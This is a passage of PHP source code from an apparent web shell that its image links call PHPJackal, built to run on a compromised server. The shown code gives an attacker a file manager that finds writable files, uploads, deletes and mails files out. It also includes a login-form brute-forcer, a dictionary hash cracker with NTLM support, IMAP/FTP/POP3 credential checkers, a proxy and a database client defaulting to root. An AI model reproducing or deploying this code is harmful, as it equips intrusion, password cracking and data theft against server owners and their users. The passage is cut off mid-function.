  1070. case '1':if(is_writeable($adr)){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
  1071. case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break;
  1072. case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
  1073. case '4':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break;
  1074. case '5':if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
  1075. case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
  1076. case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
  1077. case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;}
  1078. }
  1079. if(is_dir($adr))listdiR($adr,$task);
  1080. }
  1081. }
  1082. if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}}
  1083. if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}}
  1084. function filemanageR(){
  1085. global $windows,$cwd,$hcwd;
  1086. echo '<img src="http://h.ackerz.com/PHPJackal/images/filemanager.png" style="border: none; margin: 0;" /><br /><br />';
  1087. if(!empty($_REQUEST['task'])){
  1088. if(!empty($_REQUEST['search']))$_REQUEST['task']=7;
  1089. if(!empty($_REQUEST['re']))$_REQUEST['task']=6;
  1090. echo '<font color=blue><pre>';
  1091. listdiR($cwd,$_REQUEST['task']);
  1092. echo '</pre></font>';
  1093. }else{
  1094. if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){
  1095. if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){
  1096. $title='Destination';
  1097. $ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV'];
  1098. $dis=(!empty($_REQUEST['cP']))?'Copy':'Move';
  1099. }else{
  1100. $ad=$_REQUEST['rN'];
  1101. $title='New name';
  1102. $dis='Rename';
  1103. }
  1104. if(empty($_REQUEST['deS'])){
  1105. echo '<table border="0" cellspacing="0" cellpadding="0"><tr><th>'.$title.':</th></tr><tr><td><form method="POST"><input type=text value="';if(empty($_REQUEST['rN']))echo $cwd;echo '" size="60" name="deS"></td></tr><tr><td>'.$hcwd.'<input type="hidden" value="'.htmlspecialchars($ad).'" name="cp"><input type="submit" value="'.$dis.'"></form></table>';
  1106. }else{
  1107. if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']);
  1108. else{
  1109. copy($ad,$_REQUEST['deS']);
  1110. if(!empty($_REQUEST['mV']))unlink($ad);
  1111. }
  1112. }
  1113. }
  1114. if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);}
  1115. if(!empty($_FILES['uploadfile'])){
  1116. move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
  1117. echo "<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "<br />";
  1118. }
  1119. $select="<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='".hlinK("seC=fm&workingdiR=$cwd")."'>--------</option><option value='";
  1120. if(!empty($_REQUEST['newf'])){
  1121. if(!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],'');}
  1122. if(!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
  1123. }
  1124. if($windows){
  1125. echo '<table border="0" cellspacing="0" cellpadding="0"><tr><td><b>Drives:</b>';
  1126. for($i=66;$i<=90;$i++){$drive=chr($i).':';
  1127. if(disk_total_space($drive)){echo " <a title='$drive' href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";}}
  1128. echo "</td><tr></table>";
  1129. }
  1130. }
  1131. $ext= array('7z','ai','aiff','asc','avi','bat','bin','bz2','c','cfc','cfm','chm','class','com','conf','cpp','cs','css','csv','dat','deb','divx','dll','doc','dot','eml','enc','exe','flv','gif','gz','hlp','htaccess','htpasswd','htm','html','ico','image','iso','jar','java','jpeg','jpg','js','link','log','lua','m','m4v','mid','mm','mov','mp3','mpg','odc','odf','odg','odi','odp','ods','odt','ogg','pdf','pgp','php','pl','png','ppt','ps','py','ram','rar','rb','rm','rpm','rtf','sig','shtml','sql','swf','sxc','sxd','sxi','sxw','tar','tex','tgz','txt','vcf','vsd','wav','wma','wmv','xls','xml','xpi','xvid','zip');
  1132. echo '
  1133. <table border="0" cellspacing="0" cellpadding="0">
  1134. <form method="POST"><tr><th width="20%">Location:<input type="text" name="workingdiR" size="40" value="'.$cwd.'"><input type="submit" value="Change"></form></th></tr></table>';
  1135. $file=$dir=$link=array();
  1136. if($dirhandle=opendir($cwd)){
  1137. while($cont=readdir($dirhandle)){
  1138. if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont;
  1139. elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont;
  1140. else $link[]=$cont;
  1141. }
  1142. closedir($dirhandle);
  1143. sort($file);sort($dir);sort($link);
  1144. echo '<table border="0" cellspacing="0" cellpadding="0" width="100%"><tr><th width="240"><b>Name</b></th><th width="100"><b>Owner</b></th><th width="130"><b>Modification time</b></th><th width="130"><b>Last access</b></th><th width="25"><b>Permission</b></th><th width="35"><b>Size</b></th><th width="50"><b>Actions</b></th></tr>';
  1145. $i=0;
  1146. foreach($dir as $dn){
  1147. echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td style="font-weight:bold;">';
  1148. $own='Unknow';
  1149. $owner=posix_getpwuid(fileowner($dn));
  1150. $mdate=date('Y/m/d H:i:s',filemtime($dn));
  1151. $adate=date('Y/m/d H:i:s',fileatime($dn));
  1152. $diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."'>Rename</option><option value='".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."'>Remove</option></select></td>";
  1153. if($owner)$own="<a title=' Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
  1154. echo '<a href="'.hlinK('seC=fm&workingdiR='.realpath($dn)).'"><font';
  1155. if(is_writeable($dn))echo ' color="#006600"';elseif(!is_readable($dn))echo ' color="#990000"';
  1156. echo '><img src="http://h.ackerz.com/PHPJackal/images/icon/directory" border="0" /> ';
  1157. if(strlen($dn)>29)echo substr($dn,0,26).'...';else echo $dn;echo '</font></a></td>';
  1158. echo "<td>$own</td>";
  1159. echo "<td>$mdate</td>";
  1160. echo "<td>$adate</td>";
  1161. echo "<td>";echo "<a href='#' onClick=\"javascript:chmoD('$dn')\" title='Change mode'>";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo '</a></td>';
  1162. echo "<td>------</td>";
  1163. echo "<td>$diraction";
  1164. echo '</tr>';
  1165. }
  1166. foreach($file as $fn){
  1167. echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td style="font-weight:bold;">';
  1168. $own='Unknow';
  1169. $owner=posix_getpwuid(fileowner($fn));
  1170. $fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open</option><option value='".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=mailer&attacH=$fn&workingdiR=$cwd")."'>Send by mail</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."'>Move</option><option value='".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."'>Remove</option></select></td>";
  1171. $mdate=date('Y/m/d H:i:s',filemtime($fn));
  1172. $adate=date('Y/m/d H:i:s',fileatime($fn));
  1173. if($owner)$own="<a title='Shell:".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
  1174. $size=showsizE(filesize($fn));
  1175. $type= end(explode(".", $fn));
  1176. if(!in_array($type,$ext))$type='file';
  1177. echo '<a href="'.hlinK("seC=openit&namE=$fn&workingdiR=$cwd").'"><font';
  1178. if(is_writeable($fn))echo ' color="#006600"';elseif(!is_readable($fn))echo ' color="#990000"';
  1179. echo '><img src="http://h.ackerz.com/PHPJackal/images/icon/'.$type.'" border="0" /> ';
  1180. if(strlen($fn)>29)echo substr($fn,0,26).'...';else echo $fn;echo '</font></a></td>';
  1181. echo "<td>$own</td>";
  1182. echo "<td>$mdate</td>";
  1183. echo "<td>$adate</td>";
  1184. echo "</td><td>";echo "<a href='#' onClick=\"javascript:chmoD('$fn')\" title='Change mode'>";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo "</a></td>";
  1185. echo "<td>$size</td>";
  1186. echo "<td>$fileaction";
  1187. echo '</tr>';
  1188. }
  1189. foreach($link as $ln){
  1190. $own='Unknow';
  1191. $owner=posix_getpwuid(fileowner($ln));
  1192. $linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open</option><option value='".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=mailer&attacH=$ln&workingdiR=$cwd")."'>Send by mail</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."'>Move</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."'>Rename</option><option value='".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."'>Remove</option></select></td>";
  1193. $mdate=date('Y/m/d H:i:s',filemtime($ln));
  1194. $adate=date('Y/m/d H:i:s',fileatime($ln));
  1195. if($owner)$own="<a title='Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
  1196. echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td style="font-weight:bold;">';
  1197. $size=showsizE(filesize($ln));
  1198. echo '<a href="'.hlinK("seC=openit&namE=$ln&workingdiR=$cwd").'"><font color="#';
  1199. if(is_writeable($ln))echo ' color="#006600"';elseif(!is_readable($ln))echo ' color="#990000"';
  1200. echo '><img src="http://h.ackerz.com/PHPJackal/images/icon/link" border="0" /> ';
  1201. if(strlen($ln)>29)echo substr($ln,26).'...';else echo $ln;echo '</font></a></td>';
  1202. echo "<td>$own</td>";
  1203. echo "<td>$mdate</td>";
  1204. echo "<td>$adate</td>";
  1205. echo "</td><td>";echo "<a href='#' onClick=\"javascript:chmoD('$ln')\" title='Change mode'>L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo "</a></td>";
  1206. echo "<td>$size</td>";
  1207. echo "<td>$linkaction";
  1208. echo '</tr>';
  1209. }
  1210. }
  1211. $dc=count($dir)-2;
  1212. if($dc==-2)$dc=0;
  1213. $fc=count($file);
  1214. $lc=count($link);
  1215. $total=$dc+$fc+$lc;
  1216. $min=min(substr(ini_get('upload_max_filesize'),0,strpos(ini_get('post_max_size'),'M')),substr(ini_get('post_max_size'),0,strpos(ini_get('post_max_size'),'M'))).' MB';
  1217. echo '
  1218. <tr><td colspan="2">Directory summery:</td><td colspan="6">Total:'.$total.' Directories:'.$dc.' Files:'.$fc.' Links:'.$lc.' Permission:';
  1219. if (is_readable($cwd)) echo 'R';if (is_writeable($cwd)) echo 'W' ;
  1220. echo '</td><tr><td colspan="7"></td></tr><tr><td colspan="3"><form method="POST">Find:<input type="text value="$pass" name="search"><br /><input type="checkbox" name="re" value="1">Regular expressions<input type="submit" value="Find">'.$hcwd.'<input type="hidden" value="7" name="task"></form></td><td colspan="4"><form method="POST">'.$hcwd.'<input type="hidden" value="fm" name="seC"><select name="task"><option value="0">Display files and directories in current folder</option><option value="1">Find writable files and directories in current folder</option><option value="2">Find writable files in current folder</option><option value="3">Find writable directories in current folder</option><option value="4">Display all files in current folder</option><option value="5">Display all directories in current folder</option></select><input type="submit" value="Do"></form></td></tr>
  1221. </table><br />
  1222. <table border="0" cellspacing="0" cellpadding="0">
  1223. <tr>
  1224. <th>New:</th><th></th width="40"> <th>Upload:</th>
  1225. </tr>
  1226. <tr>
  1227. <td><form method="POST"><input type="text" size="20" name="newf">
  1228. <input type="submit" name="newfile" value="File"><input type="submit" name="newdir" value="Folder"></form></td>
  1229. <td width="40"> </td><td><form method="POST" enctype="multipart/form-data"><input type="file" size="15" name="uploadfile">'.$hcwd.'<input type="submit" value="Upload"><br />Note: Max allowed file size to upload on this server is '.$min.'</form></td></tr></table>';
  1230. }
  1231. function imapchecK($host,$username,$password,$timeout){
  1232. $sock=fsockopen($host,143,$n,$s,$timeout);
  1233. $b=uniqid('NJ');
  1234. $l=strlen($b);
  1235. if(!$sock)return -1;
  1236. fread($sock,1024);
  1237. fputs($sock,"$b LOGIN $username $password\r\n");
  1238. $res=fgets($sock,$l+4);
  1239. fclose($sock);
  1240. if($res=="$b OK")return 1;else return 0;
  1241. }
  1242. function ftpchecK($host,$username,$password,$timeout){
  1243. $ftp=ftp_connect($host,21,$timeout);
  1244. if(!$ftp)return -1;
  1245. $con=ftp_login($ftp,$username,$password);
  1246. if($con)return 1;else return 0;
  1247. }
  1248. function pop3checK($server,$user,$pass,$timeout){
  1249. $sock=fsockopen($server,110,$en,$es,$timeout);
  1250. if(!$sock)return -1;
  1251. fread($sock,1024);
  1252. fwrite($sock,"user $user\n");
  1253. $r=fgets($sock);
  1254. if($r{0}=='-')return 0;
  1255. fwrite($sock,"pass $pass\n");
  1256. $r=fgets($sock);
  1257. fclose($sock);
  1258. if($r{0}=='+')return 1;
  1259. return 0;
  1260. }
  1261. function formcrackeR(){
  1262. global $hcwd;
  1263. if(!empty($_REQUEST['start'])){
  1264. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  1265. $url=$_REQUEST['target'];
  1266. $uf=$_REQUEST['userf'];
  1267. $pf=$_REQUEST['passf'];
  1268. $sf=$_REQUEST['submitf'];
  1269. $sv=$_REQUEST['submitv'];
  1270. $method=$_REQUEST['method'];
  1271. $fail=$_REQUEST['fail'];
  1272. $dic=$_REQUEST['dictionary'];
  1273. $type=$_REQUEST['combo'];
  1274. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
  1275. if(!file_exists($dic)){echo "Can not open dictionary."; return;}
  1276. $dictionary=fopen($dic,'r');
  1277. echo '<font color=blue>Cracking started...<br>';
  1278. while(!feof($dictionary)){
  1279. if($type){
  1280. $combo=trim(fgets($dictionary)," \n\r");
  1281. $user=substr($combo,0,strpos($combo,':'));
  1282. $pass=substr($combo,strpos($combo,':')+1);
  1283. }else{
  1284. $pass=trim(fgets($dictionary)," \n\r");
  1285. }
  1286. $url.="?$uf=$user&$pf=$pass&$sf=$sv";
  1287. $res=check_urL($url,$method,$fail,12);
  1288. if(!$res){echo "<font color=blue>U: $user P: $pass</font><br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");if(!$type)break;}
  1289. }
  1290. fclose($dictionary);
  1291. echo 'Done!</font><br>';
  1292. }
  1293. else echo '<form name=cracker method="POST">
  1294. <div class="fieldwrapper">
  1295. <label class="styled" style="width:320px">HTTP Form cracker</label>
  1296. </div><div class="fieldwrapper">
  1297. <label class="styled">Dictionary:</label>
  1298. <div class="thefield">
  1299. <input type="text" name="dictionary" size="30" />
  1300. </div>
  1301. </div><div class="fieldwrapper">
  1302. <label class="styled">Dictionary type:</label>
  1303. <div class="thefield">
  1304. <ul style="margin-top:0;">
  1305. <li><input type="radio" value="0" checked name="combo" onClick="document.cracker.user.disabled = false;" /> <label>Simple (P)</label></li>
  1306. <li><input type="radio" name="combo" value="1" onClick="document.cracker.user.disabled = true;" /> <label>Combo (U:P)</label></li>
  1307. </ul>
  1308. </div>
  1309. </div><div class="fieldwrapper">
  1310. <label class="styled">Username:</label>
  1311. <div class="thefield">
  1312. <input type="text" name="user" value="admin" size="30" />
  1313. </div>
  1314. </div><div class="fieldwrapper">
  1315. <label class="styled">Action:</label>
  1316. <div class="thefield">
  1317. <input type="text" name="target" value="http://'.getenv('HTTP_HOST').'/login.php" size="30" />
  1318. </div>
  1319. </div><div class="fieldwrapper">
  1320. <label class="styled">Method:</label>
  1321. <div class="thefield">
  1322. <select name="method"><option selected value="POST">POST</option><option value="GET">GET</option></select>
  1323. </div>
  1324. </div><div class="fieldwrapper">
  1325. <label class="styled">Username field:</label>
  1326. <div class="thefield">
  1327. <input type="text" name="userf" value="username" size="30" />
  1328. </div>
  1329. </div><div class="fieldwrapper">
  1330. <label class="styled">Password field:</label>
  1331. <div class="thefield">
  1332. <input type="text" name="passf" value="passwd" size="30" />
  1333. </div>
  1334. </div><div class="fieldwrapper">
  1335. <label class="styled">Submit name:</label>
  1336. <div class="thefield">
  1337. <input type="text" name="submitf" value="submit" size="30" />
  1338. </div>
  1339. </div><div class="fieldwrapper">
  1340. <label class="styled">Submit value:</label>
  1341. <div class="thefield">
  1342. <input type="text" name="submitv" value="Login" size="30" />
  1343. </div>
  1344. </div><div class="fieldwrapper">
  1345. <label class="styled">Fail string:</label>
  1346. <div class="thefield">
  1347. <input type="text" name="fail" value="Try again" size="30" />
  1348. </div>
  1349. </div><div class="fieldwrapper">
  1350. <label class="styled"><input type=checkbox name=loG value=1 onClick="document.cracker.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
  1351. <div class="thefield">
  1352. <input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
  1353. </div>
  1354. </div>
  1355. '.$hcwd.'
  1356. <div class="buttonsdiv">
  1357. <input type="submit" name="start" value="Start" style="margin-left: 150px;" />
  1358. </div>
  1359. </form>';
  1360. }
  1361. function hashcrackeR(){
  1362. global $hcwd;
  1363. if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
  1364. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  1365. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1366. if($dictionary){
  1367. $hash=strtoupper($_REQUEST['hash']);
  1368. echo '<font color=blue>Cracking '.htmlspecialchars($hash).'...<br>';
  1369. $type=$_REQUEST['type'];
  1370. while(!feof($dictionary)){
  1371. $word=trim(fgets($dictionary)," \n\r");
  1372. if($type=='ntlm'){
  1373. $word=iconv('UTF-8','UTF-16LE',$word);
  1374. $type='md4';
  1375. }
  1376. if($hash==strtoupper((hash($type,$word)))){echo "The answer is $word<br>";if($log)file_add_contentS($file,"$x\r\n");break;}
  1377. }
  1378. echo 'Done!</font>';
  1379. fclose($dictionary);
  1380. }
  1381. else{
  1382. echo "Can not open dictionary.";
  1383. }
  1384. }
  1385. echo '
  1386. <form method="POST" name="hashform" class="form"><div class="fieldwrapper"><label class="styled" style="width:320px">Hash cracker</label></div><div class="fieldwrapper"><label class="styled">Dictionary:</label><div class="thefield"><input type="text" name="dictionary" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Hash:</label><div class="thefield"><input type="text" name="hash" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Type:</label><div class="thefield"><select name=type><option value=md2>MD2</option><option value=md4>MD4</option><option selected value=md5>MD5</option><option value=ntlm>NTLM</option><option value=sha1>SHA1</option><option value=sha224>SHA224</option><option value=sha256>SHA256</option><option value=sha384>SHA384</option><option value=sha512>SHA512</option></select></div></div><div class="fieldwrapper"><label class="styled"><input type=checkbox name=loG value=1 onClick="document.hashform.logfilE.disabled = !document.hashform.logfilE.disabled;" checked> Log:</label><div class="thefield"><input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log"></div></div>'.$hcwd.'<input type="submit" value="Crack" style="margin-left: 150px;" /></div></form>';
  1387. }
  1388. function pr0xy(){
  1389. global $hcwd;
  1390. echo '<img src="http://h.ackerz.com/PHPJackal/images/pr0xy.png" style="border: none; margin: 0;" /><br /><br /><form method="POST" class="feedbackform"><div class="fieldwrapper"><label class="styled">Navigator:</label><div class="thefield"><input type="text" name="urL" value="';if(empty($_REQUEST['urL'])) echo 'http://showip.com'; else echo htmlspecialchars($_REQUEST['urL']);echo '" size="30" /></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Go" style="margin-left: 150px;" /></div></form>';
  1391. if(!empty($_REQUEST['urL'])){
  1392. $u=parse_url($_REQUEST['urL']);
  1393. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
  1394. $dir=dirname($file);
  1395. $con=getiT($_REQUEST['urL']);
  1396. $s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),'HREF="'=>'HrEf="'.hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"));
  1397. $con=replace_stR($s,$con);
  1398. echo $con;
  1399. }
  1400. }
  1401. function sqlclienT(){
  1402. global $hcwd;
  1403. echo '<img src="http://h.ackerz.com/PHPJackal/images/sql.png" style="border: none; margin: 0;" /><br /><br />';
  1404. if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
  1405. $server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
  1406. $db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];
  1407. $res=querY($type,$server,$user,$pass,$db,$query);
  1408. if($res){
  1409. $res=str_replace('|-|-|-|-|-|','</td><td>',$res);
  1410. $res=str_replace('|+|+|+|+|+|','</td></tr><tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td>',$res);
  1411. $r=explode('[+][+][+]',$res);
  1412. $r[1]=str_replace('[-][-][-]',"</th><th>",$r[1]);
  1413. echo '<table border="0" cellspacing="0" cellpadding="0"><tr><th>'.$r[1].'</th></tr><tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td>'.$r[0]."</td></tr></table><br />";
  1414. }
  1415. else{
  1416. echo "Failed!<br />";
  1417. }
  1418. }
  1419. if(empty($_REQUEST['typE']))$_REQUEST['typE']='';
  1420. echo '
  1421. <form name=client method="POST">
  1422. <div class="fieldwrapper">
  1423. <label class="styled" style="width:320px">SQL client</label>
  1424. </div><div class="fieldwrapper">
  1425. <label class="styled">Type:</label>
  1426. <div class="thefield">
  1427. <select name="typE">
  1428. <option valut=MySQL onClick="document.client.serveR.disabled = false;" ';if ($_REQUEST['typE']=='MySQL')echo 'selected';echo '>MySQL</option><option valut=MSSQL onClick="document.client.serveR.disabled = false;" ';if ($_REQUEST['typE']=='MSSQL')echo 'selected';echo '>MSSQL</option><option valut=Oracle onClick="document.client.serveR.disabled = true;" ';if ($_REQUEST['typE']=='Oracle')echo 'selected';echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='PostgreSQL')echo "selected";echo '>PostgreSQL</option>
  1429. </select>
  1430. </div>
  1431. </div><div class="fieldwrapper">
  1432. <label class="styled">Server:</label>
  1433. <div class="thefield">
  1434. <input type="text" name="serveR" value="';if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo '" size="30" />
  1435. </div>
  1436. </div><div class="fieldwrapper">
  1437. <label class="styled">Username:</label>
  1438. <div class="thefield">
  1439. <input type="text" name="useR" value="';if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; echo '" size="30" />
  1440. </div>
  1441. </div><div class="fieldwrapper">
  1442. <label class="styled">Password:</label>
  1443. <div class="thefield">
  1444. <input type="text" name="pasS" value="';if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123456'; echo '" size="30" />
  1445. </div>
  1446. </div><div class="fieldwrapper">
  1447. <label class="styled">Database:</label>
  1448. <div class="thefield">
  1449. <input type="text" name="dB" value="';if (isset($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); echo '" size="30" />
  1450. </div>
  1451. </div> <div class="fieldwrapper">
  1452. <label class="styled">Query:</label>
  1453. <div class="thefield">
  1454. <textarea name="querY">';if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; echo '</textarea>
  1455. </div>
  1456. </div>'.
  1457. $hcwd.'
  1458. <div class="buttonsdiv">
  1459. <input type="submit" value="Query" style="margin-left: 150px;" />
  1460. </div></form>';
  1461. }
  1462. function querY($type,$host,$user,$pass,$db='',$query){
  1463. $res='';
  1464. switch($type){
  1465. case 'MySQL':
  1466. if(!function_exists('mysql_connect'))return 0;
  1467. $link=mysql_connect($host,$user,$pass);
  1468. if($link){
  1469. if(!empty($db))mysql_select_db($db,$link);
  1470. $result=mysql_query($query,$link);
  1471. while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  1472. $res.='[+][+][+]';
  1473. for($i=0;$i<mysql_num_fields($result);$i++)
  1474. $res.=mysql_field_name($result,$i).'[-][-][-]';
  1475. mysql_close($link);
  1476. return $res;
  1477. }
  1478. break;
  1479. case 'MSSQL':
  1480. if(!function_exists('mssql_connect'))return 0;
  1481. $link=mssql_connect($host,$user,$pass);
  1482. if($link){
  1483. if(!empty($db))mssql_select_db($db,$link);
  1484. $result=mssql_query($query,$link);
  1485. while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  1486. $res.='[+][+][+]';
  1487. for($i=0;$i<mssql_num_fields($result);$i++)
  1488. $res.=mssql_field_name($result,$i).'[-][-][-]';
  1489. mssql_close($link);
  1490. return $res;
  1491. }
  1492. break;
  1493. case 'Oracle':
  1494. if(!function_exists('ocilogon'))return 0;
  1495. $link=ocilogon($user,$pass,$db);
  1496. if($link){
  1497. $stm=ociparse($link,$query);
  1498. ociexecute($stm,OCI_DEFAULT);
  1499. while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  1500. $res.='[+][+][+]';
  1501. for($i=0;$i<oci_num_fields($stm);$i++)
  1502. $res.=oci_field_name($stm,$i).'[-][-][-]';
  1503. return $res;
  1504. }
  1505. break;
  1506. case 'PostgreSQL':
  1507. if(!function_exists('pg_connect'))return 0;
  1508. $link=pg_connect("host=$host dbname=$db user=$user password=$pass");
  1509. if($link){
  1510. $result=pg_query($link,$query);
  1511. while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  1512. $res.='[+][+][+]';
  1513. for($i=0;$i<pg_num_fields($result);$i++)
  1514. $res.=pg_field_name($result,$i).'[-][-][-]';
  1515. pg_close($link);
